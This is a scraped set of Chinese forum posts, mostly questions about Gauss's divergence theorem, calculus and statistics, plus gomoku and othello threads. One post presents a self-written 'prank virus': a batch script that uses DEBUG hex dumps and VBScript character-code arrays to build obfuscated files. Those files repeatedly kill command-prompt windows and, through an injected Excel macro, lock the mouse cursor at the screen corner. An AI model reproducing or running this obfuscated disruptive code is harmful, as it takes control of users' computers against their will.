【水】这玩应竟然还有兴奋度 绝无作假,求解为什么在速度那么快的情况下还有兴奋度?兴奋度是怎么算出来的?
微分方程都是可解的吗? RT,如果不可解,方程需满足什么条件?
【问题】高斯定理是错的吗? 用高斯散度定理验证静电场强度通量为q/ε0 建立空间直角坐标系。给定一个点电荷Q带电量q。 空间中存在电场E。 现在给定一个球面,圆心原点,半径R,求通过此球面的场强通量。 高斯散度定理: Φ=∮(球面)E*dS=∫(球体)div*E*dV 根据库伦定理,有: E=(q/ε0)/4π/r^2*er =(q/ε0)/4π*r/r^3 为简便起见,设k=(q/ε0)/4π 于是E=k*r/r^3 由点到点距离公式,有: r=(x^2+y^2+z^2)^(1/2) 将电场强度正交分解,得: Ex=k*x/(x^2+y^2+z^2)^(3/2) Ey=k*y/(x^2+y^2+z^2)^(3/2) Ez=k*z/(x^2+y^2+z^2)^(3/2) 书上的标准推导: Φ =∮(球面)E*dS =(q/ε0)/4πR^2*∮(球面)dS =(q/ε0)/4πR^2*4πR^2 =(q/ε0) 下面根据高斯散度定理求电场强度散度的体积分: Φ =∫(球体)div*E*dV =∫(球体)(dEx/dx+dEy/dy+dEz/dz)*dV 同样为了简便起见,先计算dEx/dx dEx/dx =d(k*x/(x^2+y^2+z^2)^(3/2))/dx =k(y^2+z^2-2x^2)/(x^2+y^2+z^2)^(5/2) 同理,有: dEy/dy=k(z^2+x^2-2y^2)/(x^2+y^2+z^2)^(5/2) dEz/dz=k(x^2+y^2-2z^2)/(x^2+y^2+z^2)^(5/2) 三式相加,得:=(dEx/dx+dEy/dy+dEz/dz)=0 即电场强度的散度为零 于是体积分(即电场强度通量)必然也等于零。如图,此图一共有四个式子,分别为: 场强散度的体积分 场强分量偏导体积分之和 场强分量偏导定积分之和 场强曲面积分 由第四个式子和第二个式子可以导出第三个式子,可以证明第二个式子和第四个式子相等。 第三个式子的计算结果为4pi/3(见下) 但是第一个式子积分的结果却为零,这不符合重积分的性质,求解释。 用对坐标的曲面积分法计算电场强度散度的曲面积分: Φ =∮(球面)E*dS =2∫(半球面)E*dS =2∫(半球面)(Ex*dydz+Ey*dzdx+Ez*dxdy) =2∫(半球面)Ex*dydz+2∫(半球面)Ey*dzdx+2∫(半球面)Ez*dxdy 为简便起见,我们先讨论2∫(半球面)Ex*dydz 由x=(R^2-y^2-z^2)^(1/2),得: 2∫(半球面)Ex*dydz =2∫(半球面)k*x/(x^2+y^2+z^2)^(3/2)*dydz =2∫(圆)k*(R^2-y^2-z^2)^(1/2)/R^3*dydz =2k/R^3∫(圆)(R^2-y^2-z^2)^(1/2)*dydz =2k/R^3∫[-r=>r]dz∫[-(R^2-z^2)^(1/2)=>(R^2-z^2)^(1/2)](R^2-y^2-z^2)^(1/2)*dy =2k/R^3∫[-r=>r]π/2*(R^2-z^2)*dz =kπ/R^3∫[-r=>r](R^2-z^2)*dz =kπ/R^3*(4R^3/3) =4kπ/3 同理,在y和z方向的积分分量的值也是4π/3,于是: ∮(球面)E*dS =3*(4kπ/3) =4kπ =(q/ε0)/4π*4π =(q/ε0)
【问题】高斯定理是错的 用高斯散度定理验证静电场强度通量为q/ε0 建立空间直角坐标系。给定一个点电荷Q带电量q。 空间中存在电场E。 现在给定一个球面,圆心原点,半径R,求通过此球面的场强通量。 高斯散度定理: Φ=∮(球面)E*dS=∫(球体)div*E*dV 根据库伦定理,有: E=(q/ε0)/4π/r^2*er =(q/ε0)/4π*r/r^3 为简便起见,设k=(q/ε0)/4π 于是E=k*r/r^3 由点到点距离公式,有: r=(x^2+y^2+z^2)^(1/2) 将电场强度正交分解,得: Ex=k*x/(x^2+y^2+z^2)^(3/2) Ey=k*y/(x^2+y^2+z^2)^(3/2) Ez=k*z/(x^2+y^2+z^2)^(3/2) 书上的标准推导: Φ =∮(球面)E*dS =(q/ε0)/4πR^2*∮(球面)dS =(q/ε0)/4πR^2*4πR^2 =(q/ε0) 下面根据高斯散度定理求电场强度散度的体积分: Φ =∫(球体)div*E*dV =∫(球体)(dEx/dx+dEy/dy+dEz/dz)*dV 同样为了简便起见,先计算dEx/dx dEx/dx =d(k*x/(x^2+y^2+z^2)^(3/2))/dx =k(y^2+z^2-2x^2)/(x^2+y^2+z^2)^(5/2) 同理,有: dEy/dy=k(z^2+x^2-2y^2)/(x^2+y^2+z^2)^(5/2) dEz/dz=k(x^2+y^2-2z^2)/(x^2+y^2+z^2)^(5/2) 三式相加,得:=(dEx/dx+dEy/dy+dEz/dz)=0 即电场强度的散度为零 于是体积分(即电场强度通量)必然也等于零。如图,此图一共有四个式子,分别为: 场强散度的体积分 场强分量偏导体积分之和 场强分量偏导定积分之和 场强曲面积分 由第四个式子和第二个式子可以导出第三个式子,可以证明第二个式子和第四个式子相等。 第三个式子的计算结果为4pi/3(见楼下) 但是第一个式子积分的结果却为零,这不符合重积分的性质,求解释。
高斯定理有问题 先上图
【棋局】两个有趣的开局 今天在QQ无禁区遇到了一个和我一样特别喜欢用八卦阵(八卦阵变体)的玩家,真是棋逢对手对方要防哪自己都知道,下了20局每局都是在拼谁活二多。 保存了两个比较有趣的开局。 我觉得新月阵形对抗八卦阵有的一拼。
【病毒】发一个自己编写的很牛B的病毒 @echo off exit echo 本病毒由ax_pokl制作 echo 本病毒十分强悍,除非重启或者删除文件否则正常方法不能结束。 echo (其实要做到重启后不能结束也不难,只要加入启动项) echo (其实要做到删除文件后再生也不难,只要检测文件是否存在后从内存释放) echo 本病毒仅为恶作剧程序,不会删除电脑中的任何文件 echo 或对系统配置进行修改。 echo 如果你确定释放本病毒,请按回车。否则直接关闭! pause echo >temp echo e 100 3A 31 0D 0A 6C 6F 63 6B 2E 76 6273 0D 0A 69 66 >>temp echo e 110 20 6E 6F 74 20 22 25 31 22 3D 3D22 77 69 6E 64 >>temp echo e 120 22 20 6D 73 68 74 61 20 76 62 7363 72 69 70 74 >>temp echo e 130 3A 63 72 65 61 74 65 6F 62 6A 6563 74 28 22 77 >>temp echo e 140 73 63 72 69 70 74 2E 73 68 65 6C6C 22 29 2E 72 >>temp echo e 150 75 6E 28 22 22 22 25 7E 66 30 2222 20 77 69 6E >>temp echo e 160 64 22 2C 76 62 68 69 64 65 29 2877 69 6E 64 6F >>temp echo e 170 77 2E 63 6C 6F 73 65 29 26 26 6578 69 74 0D 0A >>temp echo e 180 67 6F 74 6F 20 3A 31>>temp echo rcx>>temp echo 87>>temp echo n lock.bat>>temp echo w>>temp echo q>>temp debug<temp>nul echo >temp echo e 100 66 6F 72 20 69 3D 31 20 74 6F 2055 42 6F 75 6E >>temp echo e 110 64 28 73 74 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echostrs=array(13,115,101,116,32,87,83,72,115,104,101,108,108,32,61,32,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,13,10,119,104,105,108,101,32,116,114,117,101,13,10,70,111,114,32,105,32,61,32,49,32,84,111,32,49,48,13,10,73,102,32,78,111,116,32,67,104,101,99,107,80,114,111,40,34,46,34,44,34,67,77,68,46,69,88,69,34,44,34,67,77,68,46,101,120,101,34,44,34,99,109,100,46,69,88,69,34,44,34,99,109,100,46,101,120,101,34,41,32,84,104,101,110,32,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,34,108,111,99,107,46,98,97,116,34,44,48,44,102,97,108,115,101,13,10,101,110,100,32,105,102,13,10,87,83,99,114,105,112,116,46,83,108,101,101,112,32,53,48,48,13,10,110,101,120,116,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,34,109,111,117,115,101,46,118,98,115,34,44,48,44,102,97,108,115,101,13,10,119,101,110,100,13,10,13,10,13,10,70,117,110,99,116,105,111,110,32,67,104,101,99,107,80,114,111,40,115,116,114,67,111,109,112,117,116,101,114,44,80,97,97,49,44,80,97,97,50,44,80,97,97,51,44,80,97,97,52,41,32,13,10,68,105,109,32,111,98,106,87,77,73,83,101,114,118,105,99,101,44,99,111,108,80,114,111,99,101,115,115,101,115,44,111,98,106,80,114,111,99,101,115,115,32,13,10,83,101,116,32,111,98,106,87,77,73,83,101,114,118,105,99,101,32,61,32,71,101,116,79,98,106,101,99,116,40,34,119,105,110,109,103,109,116,115,58,47,47,34,32,38,32,115,116,114,67,111,109,112,117,116,101,114,32,38,32,34,47,114,111,111,116,47,99,105,109,118,50,34,41,32,13,10,83,101,116,32,99,111,108,80,114,111,99,101,115,115,101,115,32,61,32,111,98,106,87,77,73,83,101,114,118,105,99,101,46,69,120,101,99,81,117,101,114,121,40,34,83,101,108,101,99,116,32,42,32,102,114,111,109,32,87,105,110,51,50,95,80,114,111,99,101,115,115,34,41,32,13,10,67,104,101,99,107,80,114,111,32,61,32,70,97,108,115,101,32,13,10,70,111,114,32,69,97,99,104,32,111,98,106,80,114,111,99,101,115,115,32,105,110,32,99,111,108,80,114,111,99,101,115,115,101,115,32,13,10,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,49,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,50,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,51,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,73,102,32,111,98,106,80,114,111,99,101,115,115,46,78,97,109,101,32,61,32,80,97,97,52,32,84,104,101,110,32,13,10,67,104,101,99,107,80,114,111,32,61,32,84,114,117,101,32,13,10,69,110,100,32,73,102,32,13,10,13,10,78,101,120,116,32,13,10,69,110,100,32,70,117,110,99,116,105,111,110,13,10)>temp copy /b /y temp+temp2 lock.vbs echostrs=array(13,83,101,116,32,111,69,120,99,101,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,69,120,99,101,108,46,65,112,112,108,105,99,97,116,105,111,110,34,41,13,10,83,101,116,32,111,77,111,100,117,108,101,32,61,32,111,69,120,99,101,108,46,87,111,114,107,98,111,111,107,115,46,65,100,100,46,86,66,80,114,111,106,101,99,116,46,86,66,67,111,109,112,111,110,101,110,116,115,46,65,100,100,40,49,41,13,10,115,116,114,67,111,100,101,32,61,32,95,13,10,34,80,114,105,118,97,116,101,32,68,101,99,108,97,114,101,32,70,117,110,99,116,105,111,110,32,83,101,116,67,117,114,115,111,114,80,111,115,32,76,105,98,32,34,34,117,115,101,114,51,50,34,34,32,40,66,121,86,97,108,32,120,32,65,115,32,76,111,110,103,44,32,66,121,86,97,108,32,121,32,65,115,32,76,111,110,103,41,32,65,115,32,76,111,110,103,34,32,32,32,38,32,118,98,67,114,32,38,32,95,13,10,34,83,117,98,32,83,101,116,67,117,114,115,111,114,40,120,32,97,115,32,76,111,110,103,44,32,121,32,97,115,32,76,111,110,103,41,32,58,32,83,101,116,67,117,114,115,111,114,80,111,115,32,120,44,32,121,32,58,32,69,110,100,32,83,117,98,34,13,10,111,77,111,100,117,108,101,46,67,111,100,101,77,111,100,117,108,101,46,65,100,100,70,114,111,109,83,116,114,105,110,103,32,115,116,114,67,111,100,101,13,10,100,111,13,10,111,69,120,99,101,108,46,82,117,110,32,34,83,101,116,67,117,114,115,111,114,34,44,32,48,44,32,48,13,10,108,111,111,112,13,10,111,69,120,99,101,108,46,68,105,115,112,108,97,121,65,108,101,114,116,115,32,61,32,70,97,108,115,101,13,10)>temp copy /b /y temp+temp2 mouse.vbs del temp /f /q del temp2 /f /q lock.bat
【投票】大家觉得黑白棋先手必胜吗?
我来找670来了 rt 防水:证明无禁一手交换黑44必胜。
【求教】不知道这个积分错在哪里 http://tieba.baidu.com/p/2388758697
【求助】我在计算球形电荷电场强度时遇到了问题 已知一半径为R的球体带电量1,求点(r,0,0)处的电场强度。 根据库伦定律可以得到: E=∫∫∫(1/4pi)*(r/|r|^3)dV 其中:r=(x,y,z)-(r,0,0)=(x-r,y,z) |r|=[(x-r)^2+y^2+z^2]^(3/2) 易知,由于对称原因,E在y轴和z轴方向的大小为零,下面将球E在x轴即Ex的电场强度。 Ex=∫∫∫(1/4pi)*(x-r)/[(x-r)^2+y^2+z^2]^(3/2)dV
发个帖玩 这吧真好,永远的沙盒。
我肚子疼 RT
【微分】求大神证明这个命题~! 若P(x,y),Q(x,y)是两个一阶可导二元函数且P'|y(x,y)=Q'|x(x,y),则存在一个二元函数f(x,y),使得f'|x(x,y)=P(x,y)且f'|y(x,y)=Q(x,y)。
【投票】大家觉得人脑厉害还是电脑厉害?
【求助】求大神解简单定积分一道 如题,如图:
【简单数列题】 已知数列a[1]=p,a[n+1]=a[n]+q*x-((x/a[1]^2)+(x/a[2])^2+...+(x/a[n])^2),其中p,q为常数,x为参数,且lim[x->0,n->inf]a[n]=1,求p/q。
求点P到原点距离的最小值 设点P为x^2+4y^2-9z^2=25上的一点,求点P到原点距离的最小值。 需过程。
【矩阵】简单逆矩阵的问题 如图:
【问题】简单桥式电阻问题 如图,每一个小电阻的阻值为1欧,分别求A到B,A到C,A到D,B到C的电阻的阻值并求过程。
【游戏】传一个Pascal语言写的五子棋内核 存此图片为.rar可得程序。 本程序为gomoku内核(brain),需要外壳才能运行。请在piskvork里设置。 目前世界上最强的五子棋内核是yixin13 更多关于五子棋程序对抗的信息请参见: http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fgomocup.wz.cz%2Fgomoku%2Fdownload.php&urlrefer=e9f34049b30a5df4cbb2bb2050803395
求证:标准分数的绝对偏差平均值=绝对偏差平均值/总体标准差 求证: AVEDEV((x[1->n]-AVERAGE(x[1->n]))/STDEVP(x[1->n]))=AVEDEV(x[1->n])/STDEVP(x[1->n]) 即:样本的标准分数到其平均值的绝对偏差平均值=样本到其平均值的绝对偏差平均值/样本的总体标准差 AVERAGE(x[1->n])为样本的算术平均值 AVEDEV(x[1->n])为样本到其算术平均值的绝对偏差平均值 STDEVP(x[1->n])为样本的总体标准差 平方根:SQRT(x)=x^(1/2) 绝对值:ABS(x)=SQRT(x^2) 和:SUM(x[1->n])=∑(i=1->n)x[i] 平方和:DEVSQ(x[1->n])=∑(i=1->n)x[i]^2 算术平均值:AVERAGE(x[1->n])=SUM(x[1->n])/n 绝对偏差平均值:AVEDEV(x[1->n])=AVERAGE(ABS(x[1->n]-AVERAGE(x[1->n]))) 总体标准差:STDEVP(x[1->n])=SQRT(DEVSQ(x[1->n])/n)
【微分的问题】dy^2+dx^2=0?
【探讨】传一个地毯式搜索证明黑白棋至少13步才能赢的程序
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